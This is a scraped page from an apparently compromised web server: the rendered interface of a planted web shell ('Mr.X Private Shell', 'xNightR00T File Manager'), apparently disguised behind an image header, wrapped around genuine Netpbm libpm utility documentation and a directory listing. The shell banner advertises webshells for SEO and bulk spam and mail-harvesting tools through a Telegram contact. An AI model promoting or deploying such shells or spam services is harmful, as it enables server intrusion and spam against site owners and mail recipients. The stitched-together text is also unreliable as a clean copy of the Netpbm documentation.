xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html> <head>
<title>Libnetbpm Utility Functions</title>
<meta name="manual_section" content="3">
</head>
<body>
<h1>Libnetpbm Utility Functions</h1>

<p>Updated: 27 August 2006

<p><A HREF="#toc">Table Of Contents</A>

<p>These library functions are part of <a href="index.html">Netpbm</a>.

<p>This page documents functions in the Netpbm subroutine library that
are not directly related to image data.

<p>For introductory and general information using <b>libnetpbm</b>, see
<a href="libnetpbm_ug.html">Libnetpbm User's Guide</a>.

<p>The most commonly used <b>libnetpbm</b> functions are those that
read and write and process Netpbm images.  Those are documented in <a
href="libnetpbm_image.html">Libnetpbm Netpbm Image Processing
Manual</a>

<p>To use these services, #include <b>pam.h</b>.

<H2 id="functions">Functions</H2>

<h3 id="initialization">Initialization</h3>

<h4>Overview</h4>

<p>
<B>void pm_init(</B>
<B>const char * </B><I>progname</I><B>,</B>
<B>unsigned int </B><I>flags</I>
<B>);</B>

<p>
<B>void pm_proginit(</B>
<B>int * </B><I>argcP</I><B>,</B>
<B>char * </B><I>argv</I><B>[]</B>
<B>);</B>

<h4>Description</h4>

<p>All Netpbm programs must call <b>pm_proginit()</b> just after
startup, before they process their arguments.  <b>pm_proginit()</b>,
among other things, processes Netpbm universal arguments and removes
them from the argument list.

<p>A program that isn't a Netpbm program, but just uses <b>libnetpbm</b>
services, need not invoke <b>pm_proginit</b>.  But such a program
must invoke <b>pm_init()</b>.

<P>By &quot;Netpbm program,&quot; we mean a program that is part of
the Netpbm package or is intended to act like one.  <b>pm_proginit()</b>
does things that all Netpbm programs do by convention.  For example,
it scans the argument list for <a href="index.html#commonoptions">
common options</a>, handles them, and removes them from the argument
list.  Ergo, if you want your program to have the same common options
as those in the Netpbm package, you might use <b>pm_proginit()</b>,
and if you don't, you must not.

<p><b>pm_proginit()</b> is primarily intended for Netpbm developers,
so you should not expect it to have stable function across releases,
and you must go to the comments in the source code to see exactly what
it does.

<p>Any program that uses <b>libnetpbm</b> but does not call
<b>pm_proginit</b> (i.e. is not a Netpbm program) must call
<b>pm_init()</b>.  The conventional place to do this is at the very
beginning of the program.  This sets up some program-global variables
for use by the <b>libnetpbm</b> functions.

<p>The <i>progname</i> argument is the program name for
<b>libnetpbm</b> functions to use in messages they issue.  Normally,
you would use argv[0] for this.

<p><i>flags</i> is meaningless, but for forward compatibility, you
must set it to zero.

<p><b>pm_init()</b> and <b>pm_proginit()</b> have been around at least
since Netpbm 9.25 (March 2002).  Another function named
<b>pm_init()</b> exists in older Netpbm, but was for internal use.
Netpbm programs of that era use <b>pbm_init()</b>, etc to do what
<b>pm_proginit()</b> does today.  Today, <b>pbm_init()</b>, etc. exist
for backward compatibility and are identical the <b>pm_proginit()</b>.


<h3 id="file">File Or Image Stream Access</h3>

<h4>Overview</h4>
<P>
<B>FILE *pm_openr(</b>
<b>char *</B> <I>name</I>
<B>);</B>

<P>
<B>FILE *pm_openw(</b>
<b>char *</B> <I>name</I>
<B>);</B>

<P>
<B>FILE *pm_openr_seekable(</b>
<b>const char *</B> <I>name</I>
<B>);</B>

<P>
<B>FILE *pm_close(</b>
<b>FILE *</B> <I>fp</I>
<B>);</B>

<P>
<B>void pm_tell2(</b>
<b>FILE * </B> <I>fileP</I><B>,</b>
<b>pm_filepos *</B> <I>fileposP</I><B>,</b>
<b>unsigned int</b> <i>fileposSize</i>
<B>);</B>

<P>
<B>unsigned int pm_tell(</b>
<b>FILE *</B> <I>fileP</I>
<B>);</B>

<P>
<B>void pm_seek2(</b>
<b>FILE * </B> <I>fileP</I><B>,</b>
<b>const pm_filepos *</B> <I>fileposP</I><B>,</b>
<b>unsigned int</b> <i>fileposSize</i>
<B>);</B>

<P>
<B>void pm_seek(</b>
<b>FILE * </B> <I>fileP</I><B>,</b>
<b>unsigned long</B> <I>filepos</I>
<B>);</B>

<P>
<B>char *pm_read_unknown_size(</b>
<b>FILE *</B> <I>fp</I><B>,</b>
<b>long *</B> <I>nread</I>
<B>);</B>


<h4>Description</h4>

<p>An image stream is just a file stream (represented in the standard C
library as type <b>FILE *</b>).

<p>These routines work on files &gt; 2 GiB if the underlying system does,
using the standard large file interface.  Before Netpbm 10.15 (April 2003),
though, they would fail to open any file that large or process any offset
in a file that could not be represented in 32 bits.

<p><B>pm_openr()</B> opens the given file for reading, with
appropriate error checking.  A filename of <B>-</B> is taken to mean
Standard Input.  <B>pm_openw()</B> opens the given file for writing,
with appropriate error checking.  <B>pm_close()</B> closes the file
descriptor, with appropriate error checking.

<P><B>pm_openr_seekable()</B> appears to open the file just like
<B>pm_openr()</B>, but the file thus opened is guaranteed to be
seekable (you can use ftell() and fseek() on it).
<B>pm_openr_seekable()</B> pulls this off by copying the entire file
to a temporary file and giving you the handle of the temporary file,
if it has to.  If the file you name is a regular file, it's already
seekable so <B>pm_openr_seekable()</B> just does the same thing as
<B>pm_openr()</B>.

But if it is, say, a pipe, it isn't seekable.  So
<B>pm_openr_seekable()</B> reads the pipe until EOF into a temporary
file, then opens that temporary file and returns the handle of the
temporary file.  The temporary file is seekable.  <P> The file
<B>pm_openr_seekable()</B> creates is one that the operating system
recognizes as temporary, so when you close the file, by any means, it
gets deleted.

<P>
You need a seekable file if you intend to make multiple passes through
the file.  The only alternative is to read the entire image into
memory and work from that copy.  That may use too much memory.  Note
that the image takes less space in the file cache than in a buffer in
memory.  As much as 96 times less space!  Each sample is an integer in
the buffer, which is usually 96 bits.  In the file, a sample may be as
small as 1 bit and rarely more than 8 bits.

<P><B>pm_tell2()</B> returns a handle for the current position of the
image stream (file), whether it be the header or a row of the raster.
Use the handle as an argument to <B>pm_seek2()</B> to reposition the
file there later.  The file must be seekable (which you can ensure by
opening it with <B>pm_openr_seekable()</B>) or this may fail.

<p>The file position handle is of type <b>pm_filepos</b>, which is
intended to be opaque, i.e. used only with these two functions.  In
practice, it is a file offset and is 32 bits or 64 bits depending upon
the capability of the underlying system.  For maximum backward and
forward compatibility, the functions that take or return a
<b>pm_filepos</b> have a <i>fileposSize</i> argument for the size of
the data structure.  In C, simply code <b>sizeof(pm_filepos)</b> for
that.

<p><b>pm_seek()</b> and <b>pm_tell</b> are for backward compatibility
only.  Do not use them in new code.  These functions are not capable of
handle positions in files whose byte offset cannot be represented in 32
bits.

<p><b>pm_tell2()</b> and <b>pm_seek2()</b> replaced <b>pm_tell()</b> and
<b>pm_seek()</b> in Netpbm 10.15 (April 2003).

<P><B>pm_read_unknown_size()</B> reads an entire file or input stream
of unknown size to a buffer.  It allocates more memory as needed.  The
calling routine has to free the allocated buffer with <B>free()</B>.

<P><B>pm_read_unknown_size()</B> returns a pointer to the allocated
buffer.  The <B>nread</B> argument returns the number of bytes read.


<h3 id="endian">Endian I/O</h3>

<h4>Entry Points</h4>

<P>
<B>void pm_readchar(</b>
<b>FILE *</B> <I>in</I><B>,</b>
<b>char *</B> <I>sP</I>
<B>);</B>

<P>
<B>void pm_writechar(</b>
<b>FILE *</B> <I>out</I><B>,</b>
<b>char</B> <I>s</I>
<B>);</B>

<P>
<B>int pm_readbigshort(</b>
<b>FILE *</B> <I>in</I><B>,</b>
<b>short *</B> <I>sP</I>
<B>);</B>

<P>
<B>int pm_writebigshort(</b>
<b>FILE *</B> <I>out</I><B>,</b>
<b>short</B> <I>s</I>
<B>);</B>

<P>
<B>int pm_readbiglong(</b>
<b>FILE *</B> <I>in</I><B>,</b>
<b>long *</B> <I>lP</I>
<B>);</B>

<P>
<B>int pm_writebiglong(</b>
<b>FILE *</B> <I>out</I><B>,</b>
<b>long</B> <I>l</I>
<B>);</B>

<P>
<B>int pm_readlittleshort(</b>
<b>FILE *</B> <I>in</I><B>,</b>
<b>short *</B> <I>sP</I>
<B>);</B>

<P>
<B>int pm_writelittleshort(</b>
<b>FILE *</B> <I>out</I><B>,</b>
<b>short</B> <I>s</I>
<B>);</B>

<P>
<B>int pm_readlittlelong(</b>
<b>FILE *</B> <I>in</I><B>,</b>
<b>long *</B> <I>lP</I>
<B>);</B>

<P>
<B>int pm_writelittlelong(</b>
<b>FILE *</B> <I>out</I><B>,</b>
<b>long</B> <I>l</I>
<B>);</B>

<P>
<B>void pm_readcharu(</b>
<b>FILE *</B> <I>in</I><B>,</b>
<b>char *</B> <I>sP</I>
<B>);</B>

<P>
<B>void pm_writecharu(</b>
<b>FILE *</B> <I>out</I><B>,</b>
<b>char</B> <I>s</I>
<B>);</B>

<P>
<B>int pm_readbigshortu(</b>
<b>FILE *</B> <I>in</I><B>,</b>
<b>short *</B> <I>sP</I>
<B>);</B>

<P>
<B>int pm_writebigshortu(</b>
<b>FILE *</B> <I>out</I><B>,</b>
<b>short</B> <I>s</I>
<B>);</B>

<P>
<B>int pm_readbiglongu(</b>
<b>FILE *</B> <I>in</I><B>,</b>
<b>long *</B> <I>lP</I>
<B>);</B>

<P>
<B>int pm_writebiglongu(</b>
<b>FILE *</B> <I>out</I><B>,</b>
<b>long</B> <I>l</I>
<B>);</B>

<P>
<B>int pm_readlittleshortu(</b>
<b>FILE *</B> <I>in</I><B>,</b>
<b>short *</B> <I>sP</I>
<B>);</B>

<P>
<B>int pm_writelittleshortu(</b>
<b>FILE *</B> <I>out</I><B>,</b>
<b>short</B> <I>s</I>
<B>);</B>

<P>
<B>int pm_readlittlelongu(</b>
<b>FILE *</B> <I>in</I><B>,</b>
<b>long *</B> <I>lP</I>
<B>);</B>

<P>
<B>int pm_writelittlelongu(</b>
<b>FILE *</B> <I>out</I><B>,</b>
<b>long</B> <I>l</I>
<B>);</B>

<h4>Description</h4>

<B>pm_readchar()</B>, <B>pm_writechar()</B>, <B>pm_readbigshort()</B>,
<B>pm_writebigshort()</B>, <B>pm_readbiglong()</B>,
<B>pm_writebiglong()</B>, <B>pm_readlittleshort()</B>,
<B>pm_writelittleshort()</B>, <B>pm_readlittlelong()</B>, and
<B>pm_writelittlelong()</B> are routines to read and write 1-byte,
2-byte, and 4-byte pure binary integers in either big- or
little-endian byte order.  Note that a &quot;long int&quot; C type might
be wider than 4 bytes, but the &quot;long&quot; routines still read and
write 4 bytes.

<p><b>pm_readbiglongu()</b>, etc. (names ending in <b>u</b>) are the same
except they work on unsigned versions of the type.

<P>The routines with declared return values always return 0.  Before
Netpbm 10.27 (March 2005), they returned -1 on failure, including EOF.
Now, they issue an error message to Standard Error and abort the program
if the I/O fails or encounters EOF.

<p>The 1-byte routines were new in Netpbm 10.27 (March 2005).
The unsigned versions were new somewhere around Netpbm 10.21 (2004).

<H3 id="maxval">Maxval Arithmetic</H3>

<h4>Entry Points</h4>
<P>
<B>int pm_maxvaltobits(</b>
<b>int</B> <I>maxval</I>
<B>);</B>

<P>
<B>int pm_bitstomaxval(</b>
<b>int</B> <I>bits</I>
<B>);</B>

<P>
<B>unsigned int pm_lcm(</b>
<b>unsigned int</B> <I>x</I><B>,</B>
<B>unsigned int</B> <I>y</I><B>,</B>
<B>unsigned int</B> <I>z</I><B>,</B>
<B>unsigned int</B> <I>limit</I>
<B>);</B>

<h4>Description</h4>

<p><B>pm_maxvaltobits()</B> and <B>pm_bitstomaxval()</B> convert
between a maxval and the minimum number of bits required to hold it.

<P><B>pm_lcm()</B> computes the least common multiple of 3 integers.
You also specify a limit and if the LCM would be higher than that
limit, <B>pm_lcm()</B> just returns that limit.

<H3 id="gamma">Gamma Arithmetic</H3>

<h4>Entry Points</h4>
<P>
<B>float pm_gamma709(</b>
<b>float</B> <I>intensity</I>
<B>);</B>

<P>
<B>float pm_ungamma709(</b>
<b>float</B> <I>brightness</I>
<B>);</B>


<h4>Description</h4>

<p>In graphics processing, there are two common ways of representing
numerically the intensity of a pixel, or a component of a pixel.

<p>The obvious way is with a number that is directly proportional to
the light intensity (e.g. 10 means twice as many milliwatts per square
centimeter as 5).  There are two problems with this:

<ul>
  <li>To the human eye, a 1 milliwatt per square centimeter difference
       in a bright image is much less apparent than a 1 milliwatt per
       square centimeter difference in a dark image.  So if you have
       a fixed number of bits in which to store the intensity value,
       you're wasting resolution at the bright end and skimping on it at
       the dark end.
  <li>Monitor inputs and camera outputs aren't directly proportional to
       the light intensity they project or detect.
</ul>

<p>For these reasons, light intensities are often represented in
graphics processing by an exponential scale.  The transfer function is
called a gamma function and the resulting numbers are called
gamma-corrected or gamma-adjusted.  There are various gamma functions.
The Netpbm formats specify that intensities are represented by
gamma-adjusted numbers of a particular gamma transfer function.

<p>These functions let you convert back and forth between these two
scales, using the same gamma transfer function that is specified in the
Netpbm format specifications.

<p><b>pm_gamma709</b> converts from an intensity-proportional intensity
value to a gamma-adjusted intensity value (roughly proportional to
brightness, which is the human subjective perception of intensity),
using the ITU-R Recommendation BT.709 gamma transfer function.

<P><B>pm_ungamma709</b> is the inverse of <b>pm_gamma709</b>.

<H3 id="message">Messages</H3>

<h4>Overview</h4>

<P>
<B>void pm_message(</b>
<b>char *</B> <I>fmt</I><B>,</B>
<B>... );</B>

<p>
<B>void pm_setusermessagefn(pm_usermessagefn *</B> <I>function</I><B>);</b>

<h4>Description</h4>

<p><B>pm_message()</B> is a <B>printf()</B> style routine to write an
informational message to the Standard Error file stream.
<B>pm_message()</B> suppresses the message, however, if the user
specified the <B>-quiet</B> <a href="index.html#commonoptions">common
option</a> on the command line.  Note that Netpbm programs are often
used interactively, but also often used by programs.  In the
interactive case, it is nice to issue messages about what the program
is doing, but in the program case, such messages are usually
undesirable.  By using <B>pm_message()</B> for all your messages, you
make your program usable in both cases.  Without any effort on your
part, program users of your program can avoid the messages by
specifying the <B>-quiet</B> option.

<p>Netpbm distinguishes between error messages and information
messages; <b>pm_message()</b> is just for informational messages.  To
issue an error message, see
<a href="liberror.html#pm_errormsg"><b>pm_errormsg()</b></a>.

<p><b>pm_setusermessagefn</b> registers a handler for informational
messages, called a user message routine.  Any library function
(including <b>pm_message()</b>) that wants to issue an informational
message in the future will call that function with the message as an
argument instead of writing the message to Standard Error.

<p>The argument the user message routine gets is English text designed
for human reading.  It is just the text of the message; there is no
attempt at formatting in it (so you won't see any newline or tab
characters).

<p>To capture error messages in addition to informational messages,
see
<a href="liberror.html#pm_setusererrormsgfn"><b>pm_setusererrormsgfn()</b></a>.

<p>You can remove the user message routine, so that the library issues
future informational messages in its default way (write to Standard
Error) by specifying a null pointer for <i>function</i>.

Example:

<pre>
<code>
    static pm_usermessagefn logfilewrite;

    static void
    logfilewrite(const char * const msg) {
        fprintf(mymsglog, &quot;Netpbm message: %s&quot;, msg);
    }

    pm_setusermessagefn(&amp;logfilewrite);
    
    pm_message(&quot;Message for the message log&quot;);
</code>
</pre>


<h3 id="system">System Utilities</h3>

<ul>
<li><a href="libsystem.html">pm_system</a>
<li><a href="libtmpfile.html">pm_tmpfile</a>
</ul>

<H3 id="keyword">Keyword Matching</H3>

<h4>Entry Points</h4>

<P>
<B>void pm_keymatch();</b>

<h4>Description</h4>

<p>This subroutine is obsolete.  It used to be used for command line
option processing.  Today, you can do better option processing more
easily with the shhopt facility.  See any recent program in the Netpbm
package for an example.

<B>pm_keymatch()</B> does a case-insensitive match of <B>str</B>
against <B>keyword</B>.  <B>str</B> can be a leading substring of
<B>keyword</B>, but at least <B>minchars</B> must be present.


<HR>
<H2 id="toc">Table Of Contents</H2>

<ul>
  <li><a href="#functions">Functions</a>
  <ul>
    <li><a href="#initialization">Initialization</a>
    <li><a href="#file">File Or Image Stream Access</a>
    <li><a href="#endian">Endian I/O</a>
    <li><a href="#maxval">Maxval Arithmetic</a>
    <li><a href="#gamma">Gamma Arithmetic</a>
    <li><a href="#message">Messages</a>
    <li><a href="#system">System Utilities</a>
    <li><a href="#keyword">Keyword Matching</a>
    </ul>
  </ul>


</body> </html>

Filemanager

Name Type Size Permission Actions
411toppm.html File 1.76 KB 0644
anytopnm.html File 2.56 KB 0644
asciitopgm.html File 2.98 KB 0644
atktopbm.html File 945 B 0644
avstopam.html File 1.41 KB 0644
bioradtopgm.html File 1.43 KB 0644
blend1.gif File 18.25 KB 0644
blend3.gif File 21.23 KB 0644
blend4.gif File 24.56 KB 0644
blend6.gif File 21.87 KB 0644
blend7.gif File 26.28 KB 0644
bmptopnm.html File 2.16 KB 0644
bmptoppm.html File 562 B 0644
brushtopbm.html File 953 B 0644
cameratopam.html File 5.21 KB 0644
cistopbm.html File 1.36 KB 0644
cmuwmtopbm.html File 945 B 0644
ddbugtopbm.html File 3.22 KB 0644
directory.html File 34.32 KB 0644
escp2topbm.html File 2.21 KB 0644
extendedopacity.html File 6.7 KB 0644
eyuvtoppm.html File 1.1 KB 0644
faxformat.html File 3.66 KB 0644
fiascotopnm.html File 6.19 KB 0644
fitstopnm.html File 3.64 KB 0644
fstopgm.html File 1.95 KB 0644
g3topbm.html File 4.95 KB 0644
gemtopbm.html File 512 B 0644
gemtopnm.html File 1.38 KB 0644
giftopnm.html File 7.65 KB 0644
globe.jpg File 14.04 KB 0644
gobot.gif File 1.37 KB 0644
gouldtoppm.html File 911 B 0644
hdifftopam.html File 1.5 KB 0644
hipstopgm.html File 1.03 KB 0644
hpcdtoppm.html File 11.18 KB 0644
icontopbm.html File 1.2 KB 0644
ilbmtoppm.html File 3.29 KB 0644
imgtoppm.html File 1.03 KB 0644
index.html File 43.78 KB 0644
infotopam.html File 6.52 KB 0644
jbigtopnm.html File 3.91 KB 0644
jpeg2ktopam.html File 5.3 KB 0644
jpegtopnm.html File 12.51 KB 0644
leaftoppm.html File 1.1 KB 0644
liberror.html File 8.46 KB 0644
libmaketmpfile.html File 2.43 KB 0644
libmaketmpfilefd.html File 1.72 KB 0644
libnetpbm.html File 3.55 KB 0644
libnetpbm_dir.html File 9.03 KB 0644
libnetpbm_draw.html File 4.22 KB 0644
libnetpbm_image.html File 23.35 KB 0644
libnetpbm_ug.html File 11.12 KB 0644
libpbm.html File 9.43 KB 0644
libpgm.html File 7.71 KB 0644
libpm.html File 16.81 KB 0644
libpnm.html File 9.94 KB 0644
libppm.html File 26.71 KB 0644
libsystem.html File 14.36 KB 0644
libtmpfile.html File 1.71 KB 0644
libtmpfilefd.html File 1.3 KB 0644
lispmtopgm.html File 1.94 KB 0644
macptopbm.html File 1.87 KB 0644
mdatopbm.html File 1.61 KB 0644
mgrtopbm.html File 1.03 KB 0644
mrf.html File 4.3 KB 0644
mrftopbm.html File 1.54 KB 0644
mtvtoppm.html File 1.04 KB 0644
neotoppm.html File 1.18 KB 0644
palmtopnm.html File 3.54 KB 0644
pam.html File 12.22 KB 0644
pamaddnoise.html File 3.96 KB 0644
pamarith.html File 10.92 KB 0644
pambackground.html File 4.85 KB 0644
pambayer.html File 3.54 KB 0644
pamchannel.html File 2.7 KB 0644
pamcomp.html File 14.3 KB 0644
pamcut.html File 6.69 KB 0644
pamdeinterlace.html File 2.52 KB 0644
pamdepth.html File 2.47 KB 0644
pamdice.html File 4.52 KB 0644
pamditherbw.html File 6.62 KB 0644
pamedge.html File 2.24 KB 0644
pamendian.html File 2.55 KB 0644
pamenlarge.html File 3.22 KB 0644
pamexec.html File 3.15 KB 0644
pamfile.html File 2.93 KB 0644
pamfix.html File 4.7 KB 0644
pamfixtrunc.html File 1.51 KB 0644
pamflip.html File 8.43 KB 0644
pamfunc.html File 11.29 KB 0644
pamgauss.html File 3.7 KB 0644
pamgradient.html File 2.92 KB 0644
pamlookup.html File 9.54 KB 0644
pammasksharpen.html File 4.62 KB 0644
pammixinterlace.html File 3.1 KB 0644
pammosaicknit.html File 3.23 KB 0644
pamoil.html File 2.36 KB 0644
pampaintspill.html File 5.21 KB 0644
pamperspective.html File 17.28 KB 0644
pampick.html File 2.35 KB 0644
pampop9.html File 2.4 KB 0644
pamrecolor.html File 8.69 KB 0644
pamrgbatopng.html File 2.26 KB 0644
pamrubber.html File 6.43 KB 0644
pamscale.html File 25.42 KB 0644
pamseq.html File 2.77 KB 0644
pamsharpmap.html File 2.38 KB 0644
pamsharpness.html File 1.77 KB 0644
pamsistoaglyph.html File 6.65 KB 0644
pamslice.html File 4.06 KB 0644
pamsplit.html File 2.93 KB 0644
pamstack.html File 3.41 KB 0644
pamstereogram.html File 16.52 KB 0644
pamstretch-gen.html File 1.62 KB 0644
pamstretch.html File 3.72 KB 0644
pamsumm.html File 3.72 KB 0644
pamsummcol.html File 4.1 KB 0644
pamthreshold.html File 6.42 KB 0644
pamtilt.html File 4.53 KB 0644
pamtoavs.html File 1.8 KB 0644
pamtodjvurle.html File 1.78 KB 0644
pamtofits.html File 3.94 KB 0644
pamtogif.html File 13.13 KB 0644
pamtohdiff.html File 3.32 KB 0644
pamtohtmltbl.html File 2.71 KB 0644
pamtojpeg2k.html File 9.38 KB 0644
pamtompfont.html File 2.07 KB 0644
pamtooctaveimg.html File 3.21 KB 0644
pamtopam.html File 1.67 KB 0644
pamtopdbimg.html File 2.6 KB 0644
pamtopfm.html File 3.1 KB 0644
pamtopnm.html File 3.22 KB 0644
pamtosrf.html File 2.68 KB 0644
pamtosvg.html File 7.07 KB 0644
pamtotga.html File 4.42 KB 0644
pamtotiff.html File 23.6 KB 0644
pamtouil.html File 2.5 KB 0644
pamtowinicon.html File 5.02 KB 0644
pamtoxvmini.html File 1.09 KB 0644
pamundice.html File 6.94 KB 0644
pamvalidate.html File 2.19 KB 0644
pamwipeout.html File 3.08 KB 0644
pamx.html File 8.25 KB 0644
pbm.html File 6.58 KB 0644
pbmclean.html File 5.12 KB 0644
pbmlife.html File 1 KB 0644
pbmmake.html File 1.32 KB 0644
pbmmask.html File 2.89 KB 0644
pbmminkowski.html File 529 B 0644
pbmpage.html File 2.75 KB 0644
pbmpscale.html File 1.74 KB 0644
pbmreduce.html File 2.29 KB 0644
pbmtext.html File 13.69 KB 0644
pbmtextps.html File 3.46 KB 0644
pbmto10x.html File 1.37 KB 0644
pbmto4425.html File 1.75 KB 0644
pbmtoascii.html File 1.92 KB 0644
pbmtoatk.html File 934 B 0644
pbmtobbnbg.html File 1.32 KB 0644
pbmtocis.html File 1.49 KB 0644
pbmtocmuwm.html File 1.03 KB 0644
pbmtodjvurle.html File 1.18 KB 0644
pbmtoepsi.html File 3.24 KB 0644
pbmtoepson.html File 3.11 KB 0644
pbmtoescp2.html File 3.94 KB 0644
pbmtog3.html File 2.24 KB 0644
pbmtogem.html File 1.16 KB 0644
pbmtogo.html File 1.24 KB 0644
pbmtoibm23xx.html File 2.31 KB 0644
pbmtoicon.html File 1.2 KB 0644
pbmtolj.html File 3.34 KB 0644
pbmtoln03.html File 1.45 KB 0644
pbmtolps.html File 1.48 KB 0644
pbmtomacp.html File 1.81 KB 0644
pbmtomda.html File 1.75 KB 0644
pbmtomgr.html File 1.03 KB 0644
pbmtomrf.html File 1.4 KB 0644
pbmtonokia.html File 3.28 KB 0644
pbmtopgm.html File 2.47 KB 0644
pbmtopi3.html File 1.11 KB 0644
pbmtopk.html File 4.3 KB 0644
pbmtoplot.html File 1.06 KB 0644
pbmtoppa.html File 9.66 KB 0644
pbmtopsg3.html File 1.8 KB 0644
pbmtoptx.html File 1.05 KB 0644
pbmtosunicon.html File 1.02 KB 0644
pbmtowbmp.html File 1.32 KB 0644
pbmtox10bm.html File 759 B 0644
pbmtoxbm.html File 1.49 KB 0644
pbmtoybm.html File 1.13 KB 0644
pbmtozinc.html File 1.11 KB 0644
pbmupc.html File 1.91 KB 0644
pc1toppm.html File 1.13 KB 0644
pcdovtoppm.html File 2.32 KB 0644
pcxtoppm.html File 2.27 KB 0644
pdbimgtopam.html File 1.78 KB 0644
pfm.html File 3.28 KB 0644
pfmtopam.html File 1.89 KB 0644
pgm.html File 7.65 KB 0644
pgmabel.html File 3.27 KB 0644
pgmbentley.html File 1.14 KB 0644
pgmcrater.html File 7.02 KB 0644
pgmdeshadow.html File 1.89 KB 0644
pgmedge.html File 504 B 0644
pgmenhance.html File 1.53 KB 0644
pgmhist.html File 4.41 KB 0644
pgmkernel.html File 3.48 KB 0644
pgmmake.html File 1.72 KB 0644
pgmmedian.html File 3.62 KB 0644
pgmminkowski.html File 3.48 KB 0644
pgmmorphconv.html File 3.87 KB 0644
pgmnoise.html File 2 KB 0644
pgmnorm.html File 504 B 0644
pgmoil.html File 492 B 0644
pgmramp.html File 3.24 KB 0644
pgmslice.html File 478 B 0644
pgmtexture.html File 1.98 KB 0644
pgmtofs.html File 1.08 KB 0644
pgmtolispm.html File 1.81 KB 0644
pgmtopbm.html File 1.69 KB 0644
pgmtopgm.html File 1.64 KB 0644
pgmtoppm.html File 4.08 KB 0644
pi1toppm.html File 1.17 KB 0644
pi3topbm.html File 1.12 KB 0644
picttoppm.html File 5.25 KB 0644
pjtoppm.html File 1.27 KB 0644
pktopbm.html File 2.04 KB 0644
pngtopam.html File 12.06 KB 0644
pngtopnm.html File 1.87 KB 0644
pnm.html File 2.65 KB 0644
pnmalias.html File 2.81 KB 0644
pnmarith.html File 752 B 0644
pnmcat.html File 2.85 KB 0644
pnmcolormap.html File 8.08 KB 0644
pnmcomp.html File 2.05 KB 0644
pnmconvol.html File 13.66 KB 0644
pnmcrop.html File 6.18 KB 0644
pnmcut.html File 966 B 0644
pnmdepth.html File 843 B 0644
pnmfile.html File 509 B 0644
pnmflip.html File 1.06 KB 0644
pnmgamma.html File 12.02 KB 0644
pnmhisteq.html File 6.64 KB 0644
pnmhistmap.html File 5.21 KB 0644
pnmindex.html File 3.14 KB 0644
pnminterp.html File 569 B 0644
pnminvert.html File 1.27 KB 0644
pnmmargin.html File 1.77 KB 0644
pnmmercator.html File 5.44 KB 0644
pnmmontage.html File 4.65 KB 0644
pnmnlfilt.html File 7.24 KB 0644
pnmnoraw.html File 751 B 0644
pnmnorm.html File 12.08 KB 0644
pnmpad.html File 4.78 KB 0644
pnmpaste.html File 3.63 KB 0644
pnmpsnr.html File 2.1 KB 0644
pnmquant.html File 2.65 KB 0644
pnmquantall.html File 2.44 KB 0644
pnmremap.html File 10.68 KB 0644
pnmrotate.html File 4.94 KB 0644
pnmscale.html File 1.02 KB 0644
pnmscalefixed.html File 2.67 KB 0644
pnmshear.html File 3.81 KB 0644
pnmsmooth.html File 4.81 KB 0644
pnmsplit.html File 676 B 0644
pnmstitch.html File 4.03 KB 0644
pnmtile.html File 1.4 KB 0644
pnmtoddif.html File 2.26 KB 0644
pnmtofiasco.html File 10.94 KB 0644
pnmtofits.html File 495 B 0644
pnmtojbig.html File 9.61 KB 0644
pnmtojpeg.html File 21.34 KB 0644
pnmtopalm.html File 9.73 KB 0644
pnmtopclxl.html File 7.18 KB 0644
pnmtoplainpnm.html File 733 B 0644
pnmtopng.html File 18.21 KB 0644
pnmtopnm.html File 2.51 KB 0644
pnmtops.html File 18.44 KB 0644
pnmtorast.html File 1.53 KB 0644
pnmtorle.html File 3.25 KB 0644
pnmtosgi.html File 1.96 KB 0644
pnmtosir.html File 1.14 KB 0644
pnmtotiff.html File 499 B 0644
pnmtotiffcmyk.html File 7.06 KB 0644
pnmtoxwd.html File 1.69 KB 0644
ppm.html File 7.53 KB 0644
ppm3d.html File 4.29 KB 0644
ppmbrighten.html File 5.65 KB 0644
ppmchange.html File 5.5 KB 0644
ppmcie.html File 13.67 KB 0644
ppmcolormask.html File 3.95 KB 0644
ppmdcfont.html File 1.63 KB 0644
ppmddumpfont.html File 1.11 KB 0644
ppmdim.html File 1.24 KB 0644
ppmdist.html File 2.07 KB 0644
ppmdither.html File 2.39 KB 0644
ppmdmkfont.html File 1.26 KB 0644
ppmdraw.html File 8.43 KB 0644
ppmfade.html File 4.86 KB 0644
ppmflash.html File 2.04 KB 0644
ppmforge.html File 16.43 KB 0644
ppmglobe.html File 5.02 KB 0644
ppmhist.html File 5.77 KB 0644
ppmlabel.html File 5.82 KB 0644
ppmmake.html File 1.9 KB 0644
ppmmix.html File 2.21 KB 0644
ppmnorm.html File 538 B 0644
ppmntsc.html File 3.06 KB 0644
ppmpat.html File 2.99 KB 0644
ppmquant.html File 2.82 KB 0644
ppmquantall.html File 841 B 0644
ppmrainbow.html File 3.38 KB 0644
ppmrelief.html File 1.25 KB 0644
ppmrough.html File 4.85 KB 0644
ppmshadow.html File 9.94 KB 0644
ppmshift.html File 2.4 KB 0644
ppmspread.html File 1.37 KB 0644
ppmsvgalib.html File 4.55 KB 0644
ppmtoacad.html File 5.64 KB 0644
ppmtoapplevol.html File 1.34 KB 0644
ppmtoarbtxt.html File 5.09 KB 0644
ppmtoascii.html File 2.41 KB 0644
ppmtobmp.html File 3.99 KB 0644
ppmtoeyuv.html File 1.28 KB 0644
ppmtogif.html File 2.76 KB 0644
ppmtoicr.html File 3.77 KB 0644
ppmtoilbm.html File 5.25 KB 0644
ppmtojpeg.html File 590 B 0644
ppmtoleaf.html File 1.15 KB 0644
ppmtolj.html File 1.97 KB 0644
ppmtomitsu.html File 4.1 KB 0644
ppmtompeg-par.gif File 36.52 KB 0644
